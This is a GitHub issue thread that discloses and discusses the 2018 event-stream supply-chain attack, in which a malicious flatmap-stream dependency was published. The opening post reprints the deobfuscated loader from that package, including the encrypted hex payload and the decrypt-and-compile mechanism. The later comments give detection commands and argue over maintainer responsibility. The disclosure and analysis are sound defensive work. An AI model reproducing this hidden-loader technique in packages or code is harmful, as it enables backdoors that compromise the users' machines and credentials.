dominictarr / event-stream

EventStream is like functional programming meets IO
MIT License
2.19k stars 150 forks source link

I don't know what to say. #116

Closed FallingSnow closed 6 years ago

FallingSnow commented 6 years ago

EDIT 26/11/2018:

@dominictarr Why was @right9ctrl given access to this repo? He added flatmap-stream which is entirely (1 commit to the repo but has 3 versions, the latest one removes the injection, unmaintained, created 3 months ago) an injection targeting ps-tree. After he adds it at almost the exact same time the injection is added to flatmap-stream, he bumps the version and publishes. Literally the second commit (3 days later) after that he removes the injection and bumps a major version so he can clear the repo of having flatmap-stream but still have everyone (millions of weekly installs) using 3.x affected.

@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank event-stream@3.3.6 from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)? If I had the exact date from npm in which flatmap-stream@0.1.1 was published I wouldn't be asking you questions.

I've included a break down of what I have so far on flatmap-stream below. It includes the portion of code not found in the unminified source of flatmap-stream@0.1.1 but found in the minified source. The code has been cleaned up a little to get a better understanding.

The worst part is I still don't even know what this does... The decrypted data n[0] is byte code or something, not regular javascript, or maybe I'm just not handling it correctly.

// var r = require, t = process;

// function e(r) {
//     return Buffer.from(r, "hex").toString()
// }
function decode(data) {
    return Buffer.from(data, "hex").toString()
}

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
    // o = t[e(n[3])][e(n[4])];
    // npm_package_description = process[decode(n[3])][decode(n[4])];
    // npm_package_description = process['env']['npm_package_description'];
    npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),

    // a = u.update(n[0], e(n[8]), e(n[9]));
    // decoded = decipher.update(n[0], e(n[8]), e(n[9]));
    decoded = decipher.update(n[0], 'hex', 'utf8');

console.log(n); // IDK why this is here...

// a += u.final(e(n[9]));
decoded += decipher.final('utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])
jaydenseric commented 6 years ago

@FallingSnow did you manage to work out what the attack does?

FallingSnow commented 6 years ago

No. I spent a better part of a day trying to get something other than gibberish out of the encrypted AES payload. I've tried executing the gibberish and it errors out.

I believe there are 2 possible reasons I haven't been able to get the actual payload's code.

jaydenseric commented 6 years ago

unpkg link to help other people poke around: https://unpkg.com/flatmap-stream@0.1.1/index.min.js

dominictarr commented 6 years ago

he emailed me and said he wanted to maintain the module, so I gave it to him. I don't get any thing from maintaining this module, and I don't even use it anymore, and havn't for years.

dominictarr commented 6 years ago

note: I no longer have publish rights to this module on npm.

XhmikosR commented 6 years ago

Please contact npm support and they will take care of the situation.

limonte commented 6 years ago

note: I no longer have publish rights to this module on npm.

npm owner ls event-stream

right9ctrl <right9ctrl@outlook.com>

Transfer publishing rights to the unknown dude, but keep the repo under your username. Well done, mate 👍

dominictarr commented 6 years ago

@limonte I tried to transfer it to @right9ctrl but github errored because they already had a fork of it at http://github.com/right9ctrl/event-stream

If you guys feel strongly about this, why don't you volunteer to maintain it and contact npm support?

jaydenseric commented 6 years ago

To know if your project is in danger, run:

npm ls event-stream flatmap-stream

The bad actor has publishing rights to event-stream and flatmap-stream contains the malicious code (specifically flatmap-stream@0.1.1, but any future version can't be trusted).

Here is an example result from one of my projects:

[redacted]
└─┬ npm-run-all@4.1.3
  └─┬ ps-tree@1.1.0
    └─┬ event-stream@3.3.6
      └── flatmap-stream@0.1.2
XhmikosR commented 6 years ago

@dominictarr: although I completely disagree with someone else contacting npm support, I contacted npm support myself for now.

You put at risk millions of people, and making something for free, but public, means you are responsible for the package.

Anyway, I don't want to argue about this, I just want the issue to be solved, because this is a popular package.

limonte commented 6 years ago

If you guys feel strongly about this, why don't you volunteer to maintain it and contact npm support?

@dominictarr Apparently, you don't want to take any responsibility for this package. That's fine, it's the free community, do whatever you want. But at least indicate somehow that you're not maintaining this repo anymore, e.g. archive the repo

When you archive a repository, you are letting people know that a project is no longer actively maintained.

jaydenseric commented 6 years ago

There is a huge difference between not maintaining a repo/package, vs giving it away to a hacker (which actually takes more effort than doing nothing), then denying all responsibility to fix it when it affects millions of innocent people.

raam86 commented 6 years ago

Probably safe to assume other packages are affected by the same method: Find a package that isn't well maintained + high downloads and simply ask to take control of it.

rougeth commented 6 years ago

Now we have to run a background check when someone wants to help? The problem is in the tools.

cphoover commented 6 years ago

On the one hand @dominictarr, if you choose not to maintain a package anymore, and don't have a trusted person you can pass the baton on to, I think the sensible, and responsible thing to do is to mark the package as deprecated.

At the same time, I think it's bullshit for so many people to depend on a package with one maintainer, and then try and pin all responsibility on that maintainer, instead of getting involved, with governance, or maintenance of the package.

@rougeth This is really an issue of trust. If you chose to give publishing rights over to a malicious actor, I'm not sure what a tool can do to prevent that.

As an aside has anyone figured out what the injection, was attempting to do? Don't have time to look right now.

joncfoo commented 6 years ago

Pin your dependencies and bump versions manually after reading changelogs (don't let npm install auto-bump your dependencies).

Transitive dependencies are a PITA to manage but there's no good alternative [that I'm aware of].

devmetal commented 6 years ago

Hi, i use 4.0.x version in one of my project. I can not find the flatmap-stream dependency in the installed node_modules and also in the installed event-stream package.json not contains. Pls can you tell me, my project is in danger?

DiegoRBaquero commented 6 years ago

@XhmikosR Any update from npm support?

I'm willing to maintain this package.

cc @dominictarr

XhmikosR commented 6 years ago

Any update from npm support?

None. Maybe someone else should contact them too.

shockey commented 6 years ago

@devmetal as far as I can tell, if you don't have flatmap-stream@0.1.1 in your dependency tree, you haven't been exposed to this code. You can check for it with npm ls flatmap-stream.

sorahn commented 6 years ago

@shockey and if it's there?

DiegoRBaquero commented 6 years ago

Any update from npm support?

None. Maybe someone else should contact them too.

I've contacted them through Twitter. Hope we get response soon.

devmetal commented 6 years ago

@shockey Thank you, its empty so i think the 4.0.x version is not affected. Its possible? I mean, this versions has built top of each other right?:

path/for/my/project
└── (empty)

That was the output

Enrico204 commented 6 years ago

@FallingSnow So the malware is present only in the package version 3.3.6, right? I checked on npmjs package website and it seems that the dependency with flatmap-stream is present only on 3.3.6

shockey commented 6 years ago

@sorahn if it's there, then you may have executed the (allegedly) malicious code. I have no idea what it does, but since it references the process object, rotating any credentials you expose through environment variables is a great place to start.

StoneCypher commented 6 years ago

@dominictarr - your work is much too commonly used to give control over to unknown people. By acting like this was fine, you are teaching other attackers to think of you as a productive vulnerability vector.

This is open source 101. Don't give control to strangers.

elliotblackburn commented 6 years ago

@devmetal it seems the commit author removed it when bumping the package to 4.x, presumably to ensure future updates to this module don't cause people auto-bumping minor versions to lose the possibile vulnerability.

If you're on 4.x you should be fine but it's best to check your dependency tree as described above. If it is present then it's probably best to migrate to a new package or pin to a known good version of the package (which you should do anyway).

StoneCypher commented 6 years ago

@rougeth - what possible remediation is there for using open source and having ownership, other than making ownership not-transferrable?

i mean i guess i'd like NPM to treat an owner change like a major, but that's not a real security boundary, and very likely could easily be trickily dodged.

sorahn commented 6 years ago

@shockey I manually checked the minified source in my node_modules folder and it doesn't appear to contain anything malicious. I also don't think anything running on my dev machine has creds in env variables.

Thanks.

sergiotapia commented 6 years ago

A lot of butthurt people railing on the guy. Maybe he just doesn't care anymore about a dead package he has no intention of maintaining.

Blame yourselves devs, not the author who donated hours and hours of free work for your benefit.

patosai commented 6 years ago

I also just checked the three versions on npm, 0.1.0, 0.1.1, 0.1.2, and none of them have the above code that OP has put. I downloaded the tarballs directly from npm, am I missing something? @FallingSnow where did you find that?

I found it, it's cleverly hidden at the end

bjorn3 commented 6 years ago

Quoting @FallingSnow

I've included a break down of what I have so far on flatmap-stream below. It includes the portion of code not found in the unminified source of flatmap-stream@0.1.1 but found in the minified source. The code has been cleaned up a little to get a better understanding.

joepie91 commented 6 years ago

If anybody finds malicious code in a package in the future, please also inform the Node.js Security Working Group, not just npm.

This will ensure that the issue is assessed and resolved as fast as possible.

StoneCypher commented 6 years ago

@sergiotapia - this gets different when you actually have companies to maintain, and become legally liable for the safety of your users. it is not that you get it and everyone else doesn't.

gdpr would bankrupt a company caught under this.

tj commented 6 years ago

So many people who want something for nothing, give Dominic a break. I hand off tons of my modules to people who are willing to maintain them as well, we shouldn't be expected to vet people. OSS authors already spend time providing something for free why should they be required to waste more time, pin and vet your code always if you're concerned about security, there's no way around that.

StoneCypher commented 6 years ago

Yes, you should be expected to vet people if you give them control to code running on my machines.

If you're not willing to vet them, the library should be forked, so that I know I need to vet them.

CKarper commented 6 years ago

@StoneCypher then fork it.

StoneCypher commented 6 years ago

This is standard open source policy going back decades in almost every major language for a reason.

You're playing with fire on other peoples' machines. More than one formerly great developer has disappeared because they've caused damage this way by refusing to understand other peoples' needs, as they've realized that the source is not security trustworthy.

nouney commented 6 years ago

@rjhesketh It matters to you, it's not the problem of the original author.

Give that guy a break ffs.

StoneCypher commented 6 years ago

@CKarper - respectfully you seem to be missing the point. A fork happens by the author as an identity change signal. A third party doing so doesn't broadcast anything and is unrelated.

tj commented 6 years ago

@StoneCypher yeah that's fair, the "inactive" button on GitHub but then you just people complaining that the NPM module name is taken etc. I find it's less of a problem in Go-land where forking is the norm.

Even if the people look legit who knows what their intentions are. If anything NPM promotes this behaviour by having centralized names. I often get requests to use a name for a "stale" package, or to maintain the existing one so the name remains the same.

Do people run important software like banks on implicit trust? I'd sure hope not. I think at the corporate level there's no excuse but to vet and pin all of your code, vulnerabilities are introduced by accident as well, I don't see any way around vetting code that you're actually shipping.

themainframe commented 6 years ago

There's projects I've given up on. Even if I'll never work on it again, I'm not going to hand over control to a complete stranger! That's a ridiculous proposition. That's what the Fork button is for.

mmlb commented 6 years ago

The buck stops here. Here being defined as the entity choosing this package and using it. You are responsible for what you ship to customers. Vendor your libraries, use git submodules, vet your deps. Its your problem @StoneCypher and co.

StoneCypher commented 6 years ago

@tj - you know, it's actually quite possible to transfer an npm name to a fork

shockey commented 6 years ago

Some of y'all are really quick to forget what this software is licensed under:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND

mmlb commented 6 years ago

The buck stops here. Here being defined as the entity choosing this package and using it. You are responsible for what you ship to customers. Vendor your libraries, use git submodules, vet your deps. Its your problem @StoneCypher and co.

themainframe commented 6 years ago

Some of y'all are really quick to forget what this software is licensed under:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND

That covers him legally, sure. It doesn't mean he can't be criticised for it.

StoneCypher commented 6 years ago

I see a lot of people whose source no longer seems safe to me

fent commented 6 years ago

Was going to say it's impossible to properly vet people since somebody that seems trustworthy can suddenly turn out not to be. But then I went to @right9ctrl's profile page and it's a 1yr Chinese blank account with no repos (all forks).

Enrico204 commented 6 years ago

Please stop arguing. Let's focus on understanding what damage the encrypted code is doing. And how we can recover from it.

@FallingSnow I'm trying to look at the decoded payload, if you find something useful please let us know, I'll do the same